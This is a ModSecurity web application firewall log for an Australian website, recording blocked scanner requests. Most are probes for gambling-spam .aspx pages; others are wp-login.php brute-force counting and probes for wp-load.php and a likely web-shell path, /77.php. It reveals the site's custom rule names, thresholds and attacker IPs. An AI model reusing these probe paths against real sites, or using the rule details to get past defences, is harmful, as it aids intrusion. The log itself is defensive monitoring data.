[Tue Apr 28 03:00:47.611746 2026] [:error] [pid 42612:tid 42776] [client 51.68.234.121:34646] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ae-yXzCDyZvIG2oFcJ7o-gAAARI"]
[Tue Apr 28 03:00:50.078796 2026] [:error] [pid 13554:tid 13574] [client 51.68.234.121:34648] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ae-yYnJx87Dl-xMmL93yzQAAANI"]
[Tue Apr 28 03:00:52.416354 2026] [:error] [pid 48914:tid 48925] [client 51.68.234.121:34662] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ae-yZHwuHR_nwT9alH8pkQAAAUg"]
[Tue Apr 28 03:00:54.871961 2026] [:error] [pid 48914:tid 48937] [client 51.68.234.121:36614] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ae-yZnwuHR_nwT9alH8plQAAAVQ"]
[Tue Apr 28 03:00:57.291593 2026] [:error] [pid 31555:tid 31563] [client 51.68.234.121:36624] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ae-yabJDZf3DNaSMAJ3LpQAAAAY"]
[Tue Apr 28 03:00:59.605097 2026] [:error] [pid 13465:tid 13501] [client 51.68.234.121:36642] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ae-ya_19I-6GBJQxn_gMlwAAAEY"]
[Tue Apr 28 03:01:22.649022 2026] [:error] [pid 42612:tid 42770] [client 51.68.234.121:36656] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ae-ygjCDyZvIG2oFcJ7pCgAAAQ0"]
[Tue Apr 28 03:01:25.001568 2026] [:error] [pid 13554:tid 13564] [client 51.68.234.121:59662] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ae-yhXJx87Dl-xMmL93y5QAAAMg"]
[Tue Apr 28 03:01:27.461440 2026] [:error] [pid 13464:tid 13469] [client 51.68.234.121:59666] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ae-yh2IEa0q6oQ95zvFWgwAAAcE"]
[Tue Apr 28 03:01:29.941846 2026] [:error] [pid 36747:tid 36770] [client 51.68.234.121:59682] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ae-yic9QpT00aPhkIcdycQAAAZU"]
[Tue Apr 28 03:01:32.369978 2026] [:error] [pid 31555:tid 31569] [client 51.68.234.121:59694] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ae-yjLJDZf3DNaSMAJ3LuAAAAAw"]
[Tue Apr 28 03:01:34.778815 2026] [:error] [pid 36747:tid 36755] [client 51.68.234.121:32958] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ae-yjs9QpT00aPhkIcdyegAAAYY"]
[Tue Apr 28 03:01:37.186899 2026] [:error] [pid 13523:tid 13546] [client 51.68.234.121:32964] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae-ykeeav51IXKv1ebE88AAAAJU"]
[Tue Apr 28 03:01:39.567805 2026] [:error] [pid 13554:tid 13563] [client 51.68.234.121:32968] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae-yk3Jx87Dl-xMmL93y8wAAAMc"]
[Tue Apr 28 03:01:42.014993 2026] [:error] [pid 36747:tid 36755] [client 51.68.234.121:32982] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ae-yls9QpT00aPhkIcdyfgAAAYY"]
[Tue Apr 28 03:01:44.424439 2026] [:error] [pid 13465:tid 13504] [client 51.68.234.121:52222] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ae-ymP19I-6GBJQxn_gMxwAAAEk"]
[Tue Apr 28 03:01:46.804599 2026] [:error] [pid 13554:tid 13579] [client 51.68.234.121:52232] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ae-ymnJx87Dl-xMmL93y-AAAANc"]
[Tue Apr 28 03:01:49.227760 2026] [:error] [pid 31555:tid 31581] [client 51.68.234.121:52252] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ae-ynbJDZf3DNaSMAJ3LwgAAABg"]
[Tue Apr 28 03:01:51.621533 2026] [:error] [pid 36747:tid 36752] [client 51.68.234.121:52254] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ae-yn89QpT00aPhkIcdyggAAAYM"]
[Tue Apr 28 03:01:54.083925 2026] [:error] [pid 31555:tid 31558] [client 51.68.234.121:55052] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ae-yorJDZf3DNaSMAJ3LxwAAAAE"]
[Tue Apr 28 03:01:56.452211 2026] [:error] [pid 48914:tid 48936] [client 51.68.234.121:55076] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ae-ypHwuHR_nwT9alH8puAAAAVM"]
[Tue Apr 28 03:01:59.011059 2026] [:error] [pid 13554:tid 13578] [client 51.68.234.121:55082] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ae-yp3Jx87Dl-xMmL93y_QAAANY"]
[Tue Apr 28 03:02:01.421276 2026] [:error] [pid 13554:tid 13568] [client 51.68.234.121:55102] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ae-yqXJx87Dl-xMmL93zAAAAAMw"]
[Tue Apr 28 03:02:03.839436 2026] [:error] [pid 31555:tid 31559] [client 51.68.234.121:34588] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ae-yq7JDZf3DNaSMAJ3L2AAAAAI"]
[Tue Apr 28 03:02:06.425547 2026] [:error] [pid 13465:tid 13518] [client 51.68.234.121:34602] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ae-yrv19I-6GBJQxn_gNBgAAAFc"]
[Tue Apr 28 03:02:08.707117 2026] [:error] [pid 42612:tid 42762] [client 51.68.234.121:34610] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ae-ysDCDyZvIG2oFcJ7pHQAAAQU"]
[Tue Apr 28 03:02:11.159979 2026] [:error] [pid 13464:tid 13476] [client 51.68.234.121:34614] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ae-ys2IEa0q6oQ95zvFWjgAAAcg"]
[Tue Apr 28 03:02:13.554295 2026] [:error] [pid 13554:tid 13566] [client 51.68.234.121:34640] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ae-ytXJx87Dl-xMmL93zCQAAAMo"]
[Tue Apr 28 03:02:15.839642 2026] [:error] [pid 13465:tid 13495] [client 51.68.234.121:41236] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ae-yt_19I-6GBJQxn_gNDwAAAEA"]
[Tue Apr 28 03:02:18.253348 2026] [:error] [pid 13465:tid 13517] [client 51.68.234.121:41254] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ae-yuv19I-6GBJQxn_gNFwAAAFY"]
[Tue Apr 28 03:02:41.444904 2026] [:error] [pid 13465:tid 13505] [client 51.68.234.121:41260] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ae-y0f19I-6GBJQxn_gNPwAAAEo"]
[Tue Apr 28 03:02:43.805248 2026] [:error] [pid 13465:tid 13507] [client 51.68.234.121:34680] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ae-y0_19I-6GBJQxn_gNQQAAAEw"]
[Tue Apr 28 03:02:46.073060 2026] [:error] [pid 31555:tid 31572] [client 51.68.234.121:34682] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ae-y1rJDZf3DNaSMAJ3L6gAAAA8"]
[Tue Apr 28 03:02:48.531384 2026] [:error] [pid 13523:tid 13536] [client 51.68.234.121:34702] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ae-y2Oeav51IXKv1ebE8_AAAAIs"]
[Tue Apr 28 03:02:50.820267 2026] [:error] [pid 36747:tid 36761] [client 51.68.234.121:34712] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae-y2s9QpT00aPhkIcdyoAAAAYw"]
[Tue Apr 28 03:02:53.237727 2026] [:error] [pid 13465:tid 13500] [client 51.68.234.121:34732] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ae-y3f19I-6GBJQxn_gNSAAAAEU"]
[Tue Apr 28 03:02:55.519369 2026] [:error] [pid 13554:tid 13578] [client 51.68.234.121:57484] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ae-y33Jx87Dl-xMmL93zJgAAANY"]
[Tue Apr 28 03:02:57.918060 2026] [:error] [pid 13554:tid 13573] [client 51.68.234.121:57488] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae-y4XJx87Dl-xMmL93zKwAAANE"]
[Tue Apr 28 03:03:00.215961 2026] [:error] [pid 31555:tid 31572] [client 51.68.234.121:57510] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae-y5LJDZf3DNaSMAJ3L9AAAAA8"]
[Tue Apr 28 03:03:02.463182 2026] [:error] [pid 48914:tid 48939] [client 51.68.234.121:57524] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ae-y5nwuHR_nwT9alH8p5QAAAVY"]
[Tue Apr 28 03:03:04.745388 2026] [:error] [pid 48914:tid 48919] [client 51.68.234.121:57286] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ae-y6HwuHR_nwT9alH8p5gAAAUI"]
[Tue Apr 28 03:03:07.182598 2026] [:error] [pid 36747:tid 36771] [client 51.68.234.121:57290] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ae-y689QpT00aPhkIcdyuAAAAZY"]
[Tue Apr 28 03:03:09.598538 2026] [:error] [pid 13554:tid 13575] [client 51.68.234.121:57312] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ae-y7XJx87Dl-xMmL93zNgAAANM"]
[Tue Apr 28 03:03:12.020846 2026] [:error] [pid 13465:tid 13503] [client 51.68.234.121:57314] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ae-y8P19I-6GBJQxn_gNUQAAAEg"]
[Tue Apr 28 03:03:14.446855 2026] [:error] [pid 13465:tid 13508] [client 51.68.234.121:32798] [client 51.68.234.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ae-y8v19I-6GBJQxn_gNVgAAAE0"]
[Tue Apr 28 03:38:18.841112 2026] [:error] [pid 13465:tid 13497] [client 23.239.25.95:53392] [client 23.239.25.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.239.25.95, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae-7Kv19I-6GBJQxn_gWfwAAAEI"]
[Tue Apr 28 03:51:40.929292 2026] [:error] [pid 12019:tid 12069] [client 87.106.94.234:50936] [client 87.106.94.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.106.94.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae--TErQjaguTB9nIPz-IQAAAEQ"]
[Tue Apr 28 05:52:40.904873 2026] [:error] [pid 14579:tid 14642] [client 49.51.233.46:37528] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ae_aqBrUiOG83qKKuuDuUAAAAII"]
[Tue Apr 28 06:23:19.669062 2026] [:error] [pid 14578:tid 14629] [client 4.232.90.232:11512] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ae_h1-ngo3AwIJgfSHELUgAAAFA"]
[Tue Apr 28 06:23:20.328164 2026] [:error] [pid 14577:tid 14598] [client 4.232.90.232:62103] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ae_h2CzBH-jwzlgiBdG4CwAAAAw"]
[Tue Apr 28 06:23:21.106221 2026] [:error] [pid 14578:tid 14617] [client 4.232.90.232:62101] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ae_h2engo3AwIJgfSHELVwAAAEQ"]
[Tue Apr 28 06:23:21.818009 2026] [:error] [pid 14577:tid 14602] [client 4.232.90.232:61338] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-load.php"] [unique_id "ae_h2SzBH-jwzlgiBdG4DAAAABA"]
[Tue Apr 28 06:23:22.394631 2026] [:error] [pid 14577:tid 14594] [client 4.232.90.232:42341] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/77.php"] [unique_id "ae_h2izBH-jwzlgiBdG4DQAAAAg"]
[Tue Apr 28 06:23:23.000999 2026] [:error] [pid 14577:tid 14607] [client 4.232.90.232:8170] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/77.php"] [unique_id "ae_h2izBH-jwzlgiBdG4DgAAABU"]
[Tue Apr 28 06:23:23.579575 2026] [:error] [pid 6746:tid 6763] [client 4.232.90.232:8191] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/77.php"] [unique_id "ae_h27uStsbXtMDpzS-ZzwAAAU8"]
